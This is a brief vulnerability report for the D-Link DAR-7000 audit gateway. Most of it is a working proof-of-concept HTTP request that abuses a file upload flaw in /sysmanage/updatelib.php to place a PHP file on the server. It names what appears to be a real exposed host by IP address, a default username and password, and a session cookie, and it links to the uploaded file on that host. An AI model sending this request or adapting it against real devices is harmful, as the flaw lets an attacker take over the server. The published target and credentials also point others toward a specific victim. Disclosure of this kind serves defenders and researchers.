The D-LINK DAR-7000 series online behavior audit gateway has a file upload vulnerability. Attackers can exploit vulnerabilities to gain server privileges or cause business impact on the system.
official： http://www.dlink.com.cn/
version:DAR-7000 DAR V31R02B1413C
Vulnerability Path ：/sysmanage/updatelib.php
Ip：https://60.22.74.195:8443/
Default account password: test/admin@123
poc:
```
POST /sysmanage/updatelib.php? HTTP/1.1
Host: 60.22.74.195:8443
Cookie: PHPSESSID=bdb1aa1392da0420192cff3c34e507d6
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 717
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="ck"
radhttp
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="file_upload"; filename="phpinfo.php"
Content-Type: application/octet-stream
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="hid_tftp_ip"
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="hid_ftp_ip"
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="mode"
set
-----------------------------42328904123665875270630079328—
```
https://60.22.74.195:8443/home/phpinfo.php
